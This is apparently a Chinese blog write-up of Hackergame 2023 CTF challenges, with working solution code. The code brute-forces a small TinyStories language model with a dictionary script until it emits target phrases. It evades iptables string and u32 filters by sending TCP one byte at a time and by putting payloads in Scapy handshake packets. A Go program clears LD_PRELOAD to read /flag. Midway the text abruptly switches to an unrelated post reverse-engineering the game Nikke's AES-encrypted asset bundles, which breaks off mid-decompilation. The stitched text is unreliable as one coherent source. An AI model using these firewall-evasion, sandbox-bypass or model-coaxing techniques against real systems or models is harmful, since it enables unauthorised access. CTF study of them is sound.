对照下flag{的索引我们可以推测：f：第三行索引52前（49-51）必缺少一个字符。且密文中没出现，那么它无关紧要，只需为占位符l：第二行推测证据+1a：第四行无法推测g：第五行索引108前（96-107）缺少一个字符。{：第四行索引74前（72,73）必缺少一个字符。且密文中没出现，那么它无关紧要，只需为占位符密文中涉及第一行的索引有1,17,13,3,5，那么第一行索引17后具体字符无关紧要密文中涉及第五行的索引有109,118,113，那么第五行索引109前具体字符无关紧要结合所有线索，我们的枚举级别大幅降低。可能性如下（🪐占位）n(n?)y(y?)m(m?)eh([he]?)1n(n?)iw(w?)em(m?)f(f?)l(l?)c(c?)ir([re]?)}echaet a3g7}kidgojernoetlsup?he u🪐lw!f5soadrhwnrsnstnoeq 🪐ct{l-findiehaai{oveatas (🪐?)ty9kxborszstguyd?!blm-p(🪐?)第三四行尝试添加一个占位符后打印得到flau{you-vepr3cover3d-7hepan5w3r-r1ght!}，发现可能关键词cover3d，r1ght。第五行尝试添加一个占位符后打印得到flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}，得到flag。最终code_dict如下：code_dict = [] code_dict += ['nymeh1niwemflcir}echaet🪐'] code_dict += ['a3g7}kidgojernoetlsup?he'] code_dict += ['ul🪐w!f5soadrhwnrsnstnoeq'] code_dict += ['c🪐t{l-findiehaai{oveatas'] code_dict += ['🪐ty9kxborszstguyd?!blm-p']flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}🪐 高频率星球茫茫星系间，文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag，被认为是其智慧的象征。你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的高频率星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌，上面刻着密文和挑战。高频率星人的视觉输入频率极高，可以一目千行、过目不忘，他们的交流对地球人来说过于超前了。flag 被藏在了这段代码中，但是现在只有高频率星人在终端浏览代码的时候，使用 asciinema 录制的文件了，你能从中还原出代码吗？打开/下载题目题目已给出录像程序，可以看到其提供一个cat方法。cat Print full output of recorded asciicast to a terminal.执行asciinema cat ./asciinema_restore.rec > output.txt即可将录像存为文本。接下来只需清除掉ASCII控制字符即可食用，可以简单手动全局替换为空。flag{y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da1063300e5dabf826e40ffd016101458df23a371}🪐 小型大语言模型星球茫茫星系间，文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag，被认为是其智慧的象征。你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的 33M 参数的「小型大语言模型」控制着的星球。星球的中心竖立着一个巨大的三角形任务牌，上面刻着密文和挑战。在这个星球上，你需要与这个先进的语言模型展开一场交流。通过与它对话，诱导它说出指定的词语，从这个神秘智慧体中获得 flag。你需要让这个语言模型分别说出 you are smart，accepted，hackergame 和 🐮，以获得四个 flag，证明你足够聪明以控制这个星球的命运。题目信息如果本地运行遇到网络问题，可使用 TinyStories-33M.zip 中缓存的模型参数（约 244 MB，未做任何修改），并将代码中的：from_pretrained("roneneldan/TinyStories-33M")改为本地的：from_pretrained("./TinyStories-33M")这题就很玄学，多尝试想办法触发关键词。You Are Smart直接问Am I smart试试enough to do that, Mommy?"Her mom smiled and said, "Yes, you are very smart. You can do再问Am I smart no very?"The little girl smiled and said, "Yes, you are smart! You can do it!"The little girl was so happy👏👏👏 flag1: flag{!-7hINk-Y0U-Ar3-R3a!!y-RE@!1y-SMaRt} 👏👏👏Accepted试了下很多可能回复Accepted相关的单词Challenge， Terms，Offer，Contract等等都不行。没什么头绪了，既然题干要求消息长度不超过 7那么转而试试爆破吧。先本地跑起模型，然后找到个能用的英文词库 GitHub - dwyl/english-words: :memo: A text file containing 479k English words for all your dictionary/word-based projects e.g: auto-completion / autosuggestion ，筛选出来其中少于或等于7个字符的单词进行爆破。import json import sys from gradio_client import Clientclient = Client("http://127.0.0.1:7860/")def check_response(message, response):response = response.strip().lower() if "flag2" in response or "flag3" in response or "flag4" in response: print("\n\n") print("Found flag in response") print("Message: ", message) print("Response: ", response) sys.exit(0) if name == '__main__':words = json.load(open('words_dictionary.json')) words_less_than_7 = [] for key in words: if len(key) <= 7: words_less_than_7.append(key) SKIP_TO = 1 size = len(words_less_than_7) idx = 1 for key in words_less_than_7: if idx < SKIP_TO: idx += 1 continue result = client.predict( key, # str in 'Message' Textbox component api_name="/chat" ) print(f'{idx}/{size} Trying word: {key}') print(result) check_response(key, result) print('\n\n') idx += 1 跑到`16505/97557 Trying word: chiasmi`时得到flag。 > accepted the invitation and they both went to the party. > > At the party, they had lots of fun. They played games, ate cake and > 🎉🎉🎉 flag2: `flag{you-arE-4cCePTed-7O-CoN7!Nu3-7hE-gaMe}` 🎉🎉🎉 flag1：`flag{!-7hINk-Y0U-Ar3-R3a!!y-RE@!1y-SMaRt}` flag2：`flag{you-arE-4cCePTed-7O-CoN7!Nu3-7hE-gaMe}` #### 🪐 流式星球 > 茫茫星系间，文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag，被认为是其智慧的象征。 > > 你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的流式星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌，上面刻着密文和挑战。 > > 流式星人用流式数据交流，比如对于视频来说，他们不需要同时纵览整个画面，而是直接使用像素流。为了方便理解，你把这个过程写成了一个 Python 脚本（见附件），flag 就藏在这个视频（见附件）中。尽管最后丢掉了一部分数据，你能把 flag 还原出来吗？ > > **[Python 脚本](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/🪐 流式星球/src/create_video.py)** > > **[视频像素流文件](https://ftp.lug.ustc.edu.cn/~rtxux/0bd1f9a2-ccab-449c-b95c-af57f7ebc91e/video.bin)** 看代码发现是读取视频帧数据并拍扁保存起来。查询[python - How each video frame captured is represented in Opencv? - Stack Overflow](https://stackoverflow.com/questions/39614825/how-each-video-frame-captured-is-represented-in-opencv)得知opencv读取到的每帧数据格式为从左到右，从上到下一行行像素的BGR值。全拍扁成一行符合题意。那么题目的难点就是如何知道视频的帧数及分辨率。 一般视频的前后两帧差距不会太大，想碰碰运气，直接hex编辑器打开文件。选了比较显眼的240Bytes作为关键词搜索。![video_stream](https://blog.hoshi.tech/usr/uploads/2023/11/3068016258.png) 发现后面出现这些关键词处为2121、3402、4683，相差1281。出现这种结果的原因很可能是几行像素非常相似。那么猜测视频的长就是1280，直接盲猜宽为720。 with open("video.bin", "rb") as output:buffer = np.fromfile(output, dtype=np.uint8) file_size = buffer.nbytes width = 1280 height = 720 frame = buffer[:width * height] # 错误的，缺少了颜色信息 frame = frame.reshape((height, width)) # 错误的，缺少了颜色信息 image = Image.fromarray(frame) plt.figure("test") plt.imshow(image) plt.show() 取一帧看下发现虽然歪了但是能看就懒得管了。接着把宽放到1280可以看到图片中间偏下附近有两条分界线。 保存图片后用编辑器打开可以看到竖向分界线的位置是760，即为宽。 接着导出所有图片帧即可看到flag。 ![video_stream_flag](https://blog.hoshi.tech/usr/uploads/2023/11/1091181952.png) 做完写博客才反应过来导出的图片少了颜色信息（ 结果我太菜加上颜色信息图片瞬间变小，反而看不清flag了，懒得花时间研究了（ `flag{it-could-be-easy-to-restore-video-with-haruhikage-even-without-metadata-0F7968CC}` #### 🪐 低带宽星球 > 茫茫星系间，文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag，被认为是其智慧的象征。 > > 你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的低带宽星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌，上面刻着密文和挑战。 > > 低带宽星人的通信速度很低，只能以 1 字节 / 天的速度接受信息，所以在这个星球上，你需要将一张图片用很少的字节数传输给低带宽星人，然后获得 flag。具体来说你需要将一张图片无损压缩（每个像素的颜色都一致）： > > - 压缩至 2KiB (2048 字节) 及以下，获得 flag1； > - 压缩至 50 字节及以下，获得 flag2。 > > [题目后端环境下载（Dockerfile 与脚本）](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/🪐 低带宽星球/files/image-compressor-backend.zip) 嗯......要压缩图片，可能需要了解各种图片格式的构成。完全没有相关知识，搜索一下看有没有现成的轮子。 ##### 小试牛刀 GitHub上搜到了很多很多压缩工具，试了几个。 - 这个就可以[GitHub - ace-dent/pngslim: Optimize png files – when every byte counts!](https://github.com/ace-dent/pngslim) - 这个也可以[GitHub - Lymphatus/caesium-clt: Caesium Command Line Tools - Lossy/lossless image compression tool](https://github.com/Lymphatus/caesium-clt) `flag{A1ot0f_t0015_is_available_to_compre55_PNG}` #### Komm, süsser Flagge > > Now the flag is all mine > > Can't live without the trust from ip tables > > 小 Z 写好了一个 flag 服务器，但是他不想让 flag 被轻易地获取，于是他在服务器上设置了一些防火墙规则。如果你的流量不幸被匹配上了，那么你的连接就会被切断。 > > 尽管如此，聪明的小 Q 还是找到办法绕过了精心设计的规则，并偷走了小 Z 的 flag。 > > ------ > > 小 Z 部署的 iptables 规则如下： > > ``` > *filter > :INPUT ACCEPT [0:0] > :OUTPUT ACCEPT [0:0] > :FORWARD DROP [0:0] > :myTCP-1 - [0:0] > :myTCP-2 - [0:0] > :myTCP-3 - [0:0] > -A INPUT -p tcp --dport 18080 -j myTCP-1 > -A INPUT -p tcp --dport 18081 -j myTCP-2 > -A INPUT -p tcp --dport 18082 -j myTCP-3 > > -A myTCP-1 -p tcp -m string --algo bm --string "POST" -j REJECT --reject-with tcp-reset > > -A myTCP-2 -p tcp -m u32 --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50" -j REJECT --reject-with tcp-reset > > -A myTCP-3 -p tcp -m string --algo bm --from 0 --to 50 --string "GET / HTTP" -j ACCEPT > -A myTCP-3 -p tcp -j REJECT --reject-with tcp-reset > COMMIT > ``` > > 所有小题都需要 POST 你的 token 到 `/`，获取 flag，在**没有以上规则**的情况下，可以直接使用 `curl` 获取 flag（需要将 `114514:asdfgh==` 替换成你的 token）： > > ``` > curl -X POST -d "114514:asdfgh==" http://题目地址 > ``` > > 其中： > > - 第一小题位于 [http://202.38.93.111:18080](http://202.38.93.111:18080/)，对应防火墙规则中的 `myTCP-1` 链； > > - 第二小题位于 [http://202.38.93.111:18081](http://202.38.93.111:18081/)，对应防火墙规则中的 `myTCP-2` 链； > > - 第三小题位于http://202.38.93.111:18082，对应防火墙规则中的 `myTCP-3`链。 > > - 注意：第三小问的链接可能无法直接在浏览器中打开，这是预期行为。 > > **某些网络环境下本题可能无法正常解出，你可以使用下面提供的 OpenVPN，并将上面的 IP 地址替换为 `192.168.23.1` 尝试解题，端口号不变。** > > - [OpenVPN 配置文件](https://hack.lug.ustc.edu.cn/media/4e97494e-3937-5248-a2fe-69978d94d2cf/hg-guest.ovpn) > > 点击下方的「打开/下载题目」按钮，下载附件。附件可以用于在 Docker 中复现题目的防火墙环境，其中 `main.go` 并非题目核心内容，仅供参考和测试，与实际运行的程序有所不同。 > > **[打开/下载题目](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/Komm%2C süsser Flagge/files/iptables-flag.tar.gz)** ##### 我的 POST 看到`iptables`里的匹配是对TCP数据包进行完整的`POST`字符串匹配，直觉想是不是可以编码替换，或者拆分数据包。 包装好的HTTP库可能不够用，找了找用Python有用TCP实现HTTP协议的现有轮子[700行代码, 用python实现一个HTTP客户端 - 终末之冬 - 博客园 (cnblogs.com)](https://www.cnblogs.com/q1214367903/p/13531859.html)，也许可以自定义。 问了下ChatGPT说是确实可以用`Packet Fragmentation`，搜了搜工具有个`fragroute`，但看了看完全不会用。 后面找到了`Scapy`，很强大，可以各种自定义包发送。但它太强大了，不适合我的段位，学了半天用不会。 兜兜转转还是回到上面的Python轮子。修改`HTTPConnection`里的`send`方法： def send(self, data: bytes) -> None:if self.sock is None: self.connect() # self.sock.sendall(data) for b in data: # 一个字节一个字节发包 self.sock.sendall(bytes([b])) 请求代码： from client import HTTPConnectiondest = "202.38.93.111"port = 18080def fetch(conn: HTTPConnection, url: str = '/') -> None:body = "TOKEN" conn.request('POST', url, body=body) res = conn.get_response() print(res.read()) connection = HTTPConnection(dest, port)fetch(connection) `flag{ea5Y_sPl1tt3r_358275d832}` ##### 我的 P 这个规则看不懂，搜了下感觉很高大上 [我所理解的 iptables u32 匹配 - imlonghao](https://imlonghao.com/30.html) 是字节级的匹配工具。结合题目的提示，这应该是匹配了`P`。 上面的代码还是可以用，换端口跑下得到答案。 `flag{r3s3rv3d_bYtes_2aa84066c7}` ##### 我的 GET 这题还是研究了`scapy`好久，但没解出来，不过成功完成了HTTP的三次握手。`IP`协议20字节+`TCP`最小20字节+`GET / HTTP`的10字节刚好50字节。在`iptables`的匹配范围内。 在 [Simple Scapy TCP Session (github.com)](https://gist.github.com/N0dr4x/ffe99618a738978605719ce525a33042) 这个基础上简单修改，在`connect()`方法中组装协议时加上`GET / HTTP`即可。 def connect(self):self.seq = random.randrange(0, (2 ** 32) - 1) syn = self.ip / TCP(sport=self.sport, dport=self.dport, seq=self.seq, flags='S') / "GET / HTTP" syn_ack = sr1(syn, timeout=self._timeout) self.seq += 1 assert syn_ack.haslayer(TCP), 'TCP layer missing' assert syn_ack[TCP].flags & 0x12 == 0x12, 'No SYN/ACK flags' assert syn_ack[TCP].ack == self.seq, 'Acknowledgment number error' self.ack = syn_ack[TCP].seq + 1 ack = self.ip / TCP(sport=self.sport, dport=self.dport, seq=self.seq, flags='A', ack=self.ack) / "GET / HTTP" send(ack) self.connected = True self._start_ackThread() print('Connected') 不过没有研究出来如何使用`POST`方法请求。最开始尝试了[HTTP Verb Tunnelling](https://fanoframework.github.io/security/http-verb-tunnelling/)没有用。 然后试了 [apache - HTTP pipelining request text example - Stack Overflow](https://stackoverflow.com/questions/19619124/http-pipelining-request-text-example) 也不行，看了下服务器源码特意关闭了`Keep-Alive`。 最后尝试设置了`TCP`头中的`Header Length / Data Position`字段将`payload`指向`GET / HTTP`之后写`POST`不知为何会触发`400`，试了好久搁置。 #### 为什么要打开 /flag 😡 > > 至少见一面让我当面道歉好吗？😭我也吓了一跳，没想到事情会演变成那个样子……😭所以我想好好说明一下😭我要是知道就会阻止它们的，但是明明文件描述符都已经关闭了突然间开始 `open()`😭没能阻止大家真是对不起……😭你在生气对吧……😭我想你生气也是当然的😭但是请你相信我。`/flag`，本来没有在我们的预定打开的文件里的😭真的很对不起😭我答应你再也不会随意打开文件了😭我会让各个函数保证再也不打开这个文件😭能不能稍微谈一谈？😭我真的把这里的一切看得非常重要😭所以说，擅自打开 `/flag` 的时候我和你一样难过😭我希望你能明白我的心情😭拜托了。我哪里都会去的😭我也会好好跟你说明我不得不这么做的理由😭我想如果你能见我一面，你就一定能明白的😭我是你的同伴😭我好想见你😭 > > ------ > > 挽留失败后，她决定在程序启动时做些手脚，让所有访问 `/flag` 的请求都以某种方式变成打开 `/fakeflag` 的请求。 > > 「我不会再打开 `/flag` 了」。真的吗？ > > [题目附件下载](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%89%93%E5%BC%80%20flag%20%F0%9F%98%A1/files/fakeflag-backend.zip)（第二小题需要 Linux kernel >= 5.9） Binary的题目没有基础了，不过小题的题目给了解题思路提示。 ##### LD_PRELOAD, love! 搜索`LD_PRELOAD ctf`得知 > **LD_PRELOAD**是Linux系统的一个环境变量，用于动态库的加载，动态库加载的优先级最高,即加载动态库时先加载LD_PRLOAD，它可以影响程序的运行时的链接（Runtime linker）。**LD_PRELOAD的功能主要就是用来有选择性的载入不同动态链接库中的相同函数**。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。 通过题目给出的`server.py`if STAGE == "1":output = subprocess.run( ["/dev/shm/executable"], stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, user="nobody", group="nogroup", env={ "LD_PRELOAD": "/stage1.so" } ) 可以看到`LD_PRELOAD`是设在环境变量里了，那想办法清掉这个环境变量即可。 由于没有`C`语言基础，这里用`Go`写了个： package mainimport ("fmt" "os" "os/exec" "strings")func main() {env := os.Environ() // check if LD_PRELOAD is set isSet := false for _, v := range env { if strings.Contains(v, "LD_PRELOAD") { fmt.Println("LD_PRELOAD is set") isSet = true err := os.Unsetenv("LD_PRELOAD") if err != nil { panic(err) } out, err := exec.Command("/dev/shm/executable").Output() if err != nil { panic(err) } fmt.Println(string(out)) break } } if !isSet { file, err := os.ReadFile("/flag") if err != nil { panic(err) } content := string(file) fmt.Println(content) }} 运行得到flag > 运行结果 > > ``` > Return code: 0 > stdout (标准输出，前 8192 个字节): > LD_PRELOAD is set > flag{nande_ld_preload_yattano_5fb24fb653} > > > > stderr (标准错误，前 8192 个字节): > ``` `flag{nande_ld_preload_yattano_5fb24fb653}` #### 异星歧途 > 你降落在荒废星球的角落，开始新的征程，但从科技树底层一步步发展总是令人不快。幸运的是，在看似荒废的土地上仍然留存着高级文明的痕迹：你找到一台冲击反应堆——如果它工作起来，就可以获得用之不尽的电力——尽管它现在没有启动，并且控制工作条件的部件和工厂被 32 个按钮和相连的逻辑系统牢牢掌控。 > > 于是：你的任务是在不进行任何其他操作的情况下拨动这 32 个按钮，使冲击反应堆能够**稳定运行**。 > > 请点击下方的「打开/下载题目」按钮，下载题目文件。题目文件对应的 Mindustry 版本为 [7.0 Build 146](https://anuke.itch.io/mindustry)。打开游戏后依次选择 **地图编辑器—加载地图—选择题目文件 `the_planet.msav` —返回主菜单**，然后选择 **开始游戏—自定义游戏—选择导入的名为 the planet 的地图—不改变任何选项点击开始游戏** 。 > > 将正确的按钮序列以 01 序列的形式提交至 [检查网站](http://202.38.93.111:10070/?) 或 `nc 202.38.93.111 10071` 获得 flag。按钮未按下（即游戏开始时默认状态）用 0 表示，按下（即点击按钮后按钮颜色变亮）用 1 表示，顺序从左到右。 > > 提示：在游戏主菜单选择 **设置—图形—显示建筑状态** 可以开启建筑状态显示（即图片中建筑右下角的菱形），这可能有助于解题。 > > 提示：为了完成目标，你可能需要以特定的顺序拨动这些按钮，但这不影响结果：只有唯一一组按钮组合能满足要求。如果在满足要求后再次改变按钮，冲击反应堆可能会继续运行一段时间，但会在 1-3 分钟后停止，不可能**稳定运行**。 > > **[打开/下载题目](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/异星歧途/files/the_planet.msav)** 没玩过这游戏，刚打开这题一脸懵逼，查了下发现是要点击逻辑处理器查看连接的开关以及编写的逻辑。 鼠标指向冲击反应堆按F1查看信息，它稳定运行需要每秒1单位爆炸混合物和15单位冷却液。而周围的设备全启动就供应的上了。 逻辑分析： ##### 第一组 很简单，这组就是为了让我们熟悉开关和逻辑处理器的的作用。 如果任何一个开关位置满足条件，跳到18执行设置发电厂为关闭。 0 sensor s1 switch1 @enabled1 sensor s2 switch2 @enabled2 sensor s3 switch3 @enabled3 sensor s4 switch4 @enabled4 sensor s5 switch5 @enabled5 sensor s6 switch6 @enabled6 sensor s7 switch7 @enabled7 sensor s8 switch8 @enabled8 jump 18 equal s1 false9 jump 18 equal s2 true10 jump 18 equal s3 false11 jump 18 equal s4 true12 jump 18 equal s5 true13 jump 18 equal s6 false14 jump 18 equal s7 true15 jump 18 equal s8 false16 control enabled generator1 1 0 0 017 end18 control enabled generator1 0 0 0 019 end 8个开关条件判断分别是`0,1,0,1,1,0,1,0`，那么开关需要设置为相反，即为`1,0,1,0,0,1,0,1`。 ##### 第二组 这组包括了循环，目标是让太阳能板和发电机同时启动。 0 sensor sw1 switch1 @enabled1 sensor sw2 switch2 @enabled2 sensor sw3 switch3 @enabled3 sensor sw4 switch4 @enabled4 sensor sw5 switch5 @enabled5 sensor sw6 switch6 @enabled6 sensor sw7 switch7 @enabled7 sensor sw8 switch8 @enabled8 op shl t sw1 79 set number t10 op shl t sw2 611 op add number number t12 op shl t sw3 513 op add number number t14 op shl t sw4 415 op add number number t16 op shl t sw5 317 op add number number t18 op shl t sw6 219 op add number number t20 op shl t sw7 121 op add number number t22 set t sw823 op add number number t24 set en 025 set i 026 jump 33 greaterThanEq i 1627 op pow fl0 i 228 jump 31 notEqual fl0 number29 set en 130 jump 33 always x false31 op add i i 132 jump 26 always x false33 op equal fl1 0 sw134 op equal fl2 0 sw635 op or fl3 fl1 fl236 jump 38 equal fl3 037 set en 038 control enabled generator1 en 0 0 039 control enabled panel1 en 0 0 040 end 抄一下这个逻辑然后遍历得到答案： package mainimport "fmt"func group2(sw1 int, sw2 int, sw3 int, sw4 int, sw5 int, sw6 int, sw7 int, sw8 int) bool {//sw1, sw2, sw3, sw4, sw5, sw6, sw7, sw8 := 0, 0, 0, 0, 0, 0, 0, 0 number := sw1<<7 + sw2<<6 + sw3<<5 + sw4<<4 + sw5<<3 + sw6<<2 + sw7<<1 + sw8 en := 0 i := 0 fl0 := 0 Label26:if i >= 16 { goto Label33 } fl0 = i * i if fl0 != number { goto Label31 } en = 1 goto Label33 Label31:i = i + 1 goto Label26 Label33:fl1 := sw1 fl2 := sw6 fl3 := (fl1 == 0) || (fl2 == 0) if fl3 == false { goto Label38 } en = 0 Label38:return en == 1}func main() {fmt.Println("Hello, World!") for sw1 := 0; sw1 <= 1; sw1++ { for sw2 := 0; sw2 <= 1; sw2++ { for sw3 := 0; sw3 <= 1; sw3++ { for sw4 := 0; sw4 <= 1; sw4++ { for sw5 := 0; sw5 <= 1; sw5++ { for sw6 := 0; sw6 <= 1; sw6++ { for sw7 := 0; sw7 <= 1; sw7++ { for sw8 := 0; sw8 <= 1; sw8++ { group2Result := group2(sw1, sw2, sw3, sw4, sw5, sw6, sw7, sw8) if group2Result { fmt.Printf("group2(%d, %d, %d, %d, %d, %d, %d, %d) is true\n", sw1, sw2, sw3, sw4, sw5, sw6, sw7, sw8) } } } } } } } } }} 结果为`1,1,0,0,0,1,0,0` ##### 第三组 0 sensor sw1 switch1 @enabled1 sensor sw2 switch2 @enabled2 sensor sw3 switch3 @enabled3 sensor sw4 switch4 @enabled4 sensor sw5 switch5 @enabled5 sensor sw6 switch6 @enabled6 sensor sw7 switch7 @enabled7 sensor sw8 switch8 @enabled8 sensor sw9 switch9 @enabled9 control enabled conveyor2 sw1 0 0 010 control enabled gate1 sw2 0 0 011 op equal nsw3 sw3 012 control enabled reactor1 nsw3 0 0 013 control enabled reactor2 nsw3 0 0 014 control enabled conduit1 sw4 0 0 015 control enabled conduit2 sw4 0 0 016 control enabled mixer1 sw5 0 0 017 control enabled extractor1 sw6 0 0 018 control enabled meltdown1 sw7 0 0 019 control enabled meltdown2 sw7 0 0 020 op equal result sw8 sw921 jump 28 equal result true22 control enabled mixer1 0 0 0 023 control enabled conduit2 1 0 0 024 control enabled reactor1 1 0 0 025 control enabled reactor2 1 0 0 026 control enabled conveyor2 1 0 0 027 wait 528 end `sw1`开`conveyor2`传送带供料至`reactor1`。 `sw2`开`gate1`反向溢流门控制供料至`mixer1`。 `sw3`取反开`reactor1`, `reactor2`反应堆，可以先打开开关，关闭两个反应堆避免点错爆炸。 `sw4`控制`conduit1`，`conduit2`液体传送带，如果开起会漏冷冻液，导致爆炸。 `sw5`控制`mixer1`冷冻液混合器生产冷冻液。 `sw6`控制`extractor1`抽水机抽水供料至冷冻液混合器。 `sw7`控制`meltdown1`,`meltdown2`两个炮台。 `sw8`和`sw9`对比，如果不相等，开起一堆设备，如果没有准备好，就一键爆炸。 那么正确的组合是`1,0,0,0,1,1,0,0` ##### 第四组 这题...不好描述...倒着来接比较简单。懂了焚烧炉和反向溢流门原理就能明白了。核心思路就是倒着来保证后面的节点启用。 正确组合是`0,1,1,1,0,1,1,1`。 全解完后答案为`10100101110001001000110001110111` `flag{B34WarE_0f_#xp1osi0N_58c34b6b19}` ## 0x2 尾巴 没想到结束时间不是周末过晚而是周六中午十二点，时间管理失策了，本来还想再凹凹（呜呜呜 今年差一点能进榜单了，如果明年还有时间再接再厉。 最后排名： ![final_rank](https://blog.hoshi.tech/usr/uploads/2023/11/4106537422.png)
0x0 背景最近一个新二游Nikke正式开服了，由于某种原因在各群各站传的沸沸扬扬。玩这个游戏的冲什么来懂得都懂，实际玩了一下后发现也就只有模型和剧情值得一览。这不得解解包，四舍五入通下关。主要文章是分析完之后补写，实际分析过程是动调静态一起上的。0x1 寻找解密方法查看AssetBundle可以发现Header被修改。正常应该为UnityFS + 1 byte版本号 + 5.x.x.2021.3.9f1 + 2 bytes AB大小等。而Nikke修改后的Header为NKAB + 不明 + GoddessofVictory等。且观察发现并非简单的将信息移动，那就需要分析看看了。起手il2cppdumper后直接在dump.cs中搜索关键词NKAB就能够定位到相关方法，这个字符串在类名中包含，并且很贴心的只出现了一次：// Namespace: UnityEngine.ResourceManagement.ResourceProviders internal enum NKBundleEncryptionMode // TypeDefIndex: 25907 { // Fields public ushort value__; // 0x0 public const NKBundleEncryptionMode Default = 0; } // Namespace: UnityEngine.ResourceManagement.ResourceProviders public class NKABStreamProcessorWithSeek : IDataConverter // TypeDefIndex: 25908 { public Stream CreateReadStream(Stream input, string id) { } public Stream CreateWriteStream(Stream input, string id) { } public void .ctor() { } } // Namespace: UnityEngine.ResourceManagement.ResourceProviders internal class NKAssetBundleStream : Stream // TypeDefIndex: 25909 { // Fields [CompilerGenerated] private readonly Stream <baseStream>k__BackingField; // 0x28 [CompilerGenerated] private readonly NKBundleHeader k__BackingField; // 0x30 [CompilerGenerated] private readonly Aes <AES>k__BackingField; // 0x38 [CompilerGenerated] private ICryptoTransform <transform>k__BackingField; // 0x40 [CompilerGenerated] private byte[] <encryptedBuffer>k__BackingField; // 0x48 [CompilerGenerated] private byte[] <plainBuffer>k__BackingField; // 0x50 [CompilerGenerated] private readonly string <Name>k__BackingField; // 0x58 [CompilerGenerated] private bool <Disposed>k__BackingField; // 0x60 // Properties protected Stream baseStream { get; } public NKBundleHeader Header { get; } protected Aes AES { get; } protected ICryptoTransform transform { get; set; } protected byte[] encryptedBuffer { get; set; } protected byte[] plainBuffer { get; set; } protected string Name { get; } protected bool Disposed { get; set; } public override bool CanRead { get; } public override bool CanSeek { get; } public override bool CanWrite { get; } public override long Length { get; } public override long Position { get; set; } [CompilerGenerated] protected Stream get_baseStream() { } [CompilerGenerated] public NKBundleHeader get_Header() { } [CompilerGenerated] protected Aes get_AES() { } [CompilerGenerated] protected ICryptoTransform get_transform() { } [CompilerGenerated] protected void set_transform(ICryptoTransform value) { } [CompilerGenerated] protected byte[] get_encryptedBuffer() { } [CompilerGenerated] protected void set_encryptedBuffer(byte[] value) { } [CompilerGenerated] protected byte[] get_plainBuffer() { } [CompilerGenerated] protected void set_plainBuffer(byte[] value) { } [CompilerGenerated] protected string get_Name() { } [CompilerGenerated] protected bool get_Disposed() { } [CompilerGenerated] private void set_Disposed(bool value) { } protected void .ctor(Stream stream) { } public override bool get_CanRead() { } public override bool get_CanSeek() { } public override bool get_CanWrite() { } public override long get_Length() { } public override long get_Position() { } public override void set_Position(long value) { } public override void Flush() { } public override void SetLength(long value) { } public override long Seek(long offset, SeekOrigin origin) { } public override int Read(byte[] buffer, int offset, int count) { } public override void Write(byte[] buffer, int offset, int count) { } protected void RentBuffers(int length) { } protected void ReturnBuffers() { } protected void TransformBlock(byte[] from, byte[] to) { } protected override void Dispose(bool disposing) { } } // Namespace: UnityEngine.ResourceManagement.ResourceProviders internal class NKAssetBundleReadStream : NKAssetBundleStream // TypeDefIndex: 25910 { // Fields private bool _isDecrypted; // 0x61 // Properties public override bool CanRead { get; } // Methods internal void .ctor(Stream stream) { } public override bool get_CanRead() { } private void CheckAndDecryptOnce() { } public override int Read(byte[] buffer, int offset, int count) { } } // Namespace: UnityEngine.ResourceManagement.ResourceProviders internal class NKBundleHeader // TypeDefIndex: 25911 { // Fields private static readonly byte[] HEADER_ID; // 0x0 private const uint LATEST_VERSION = 1; private const ushort HEADER_SIZE_BF_KEY = 16; private const ushort IV_SIZE = 16; private const ushort HEADER_SIZE_MIN = 32; private const ushort OBFUSCATE_VALUE = 100; internal uint Version; // 0x10 internal NKBundleEncryptionMode EncryptionMode; // 0x14 internal ushort KeyLength; // 0x16 internal ushort EncryptedLength; // 0x18 internal byte[] Key; // 0x20 internal byte[] IV; // 0x28 // Properties internal ushort HeaderSize { get; } // Methods internal ushort get_HeaderSize() { } private ushort ObfuscateUInt16(ushort value) { } private ushort DeobfuscateUInt16(ushort value) { } public bool ReadFromStream(Stream stream) { } public void .ctor() { } private static void .cctor() { } }看到类、方法名很容易就能确定这些就是我们需要分析的目标：NKAssetBundleStream中有老熟人关键词AES，而NKBundleHeader的字段中有Key、IV等关键词。上IDA一通翻找后确定有用的关键方法为.ctor(Stream stream)以及NKBundleHeader.ReadFromStream(Stream stream)。0x2 NKAssetBundleReadStream先看NKAssetBundleReadStream：void __cdecl UnityEngine_ResourceManagement_ResourceProviders_NKAssetBundleReadStream___ctor(UnityEngine_ResourceManagement_ResourceProviders_NKAssetBundleReadStream_o *this, System_IO_Stream_o *stream, const MethodInfo *method) { __int64 v5; // x21 const MethodInfo *v6; // x2 UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_o *Header; // x0 struct System_Security_Cryptography_Aes_o *aes; // x0 System_Security_Cryptography_HashAlgorithm_o *sha256; // x0 System_Security_Cryptography_HashAlgorithm_o *v10; // x20 struct UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_o *Header_; // x8 System_Byte_array *key_sha256_hash; // x1 __int64 v13; // x21 System_Security_Cryptography_HashAlgorithm_c *v14; // x8 __int64 v15; // x9 int *v16; // x10 __int64 v17; // x0 __int64 v18; // x21 struct UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_o *v19; // x8 struct System_Security_Cryptography_Aes_o *v20; // x0 const MethodInfo *v21; // x2 struct 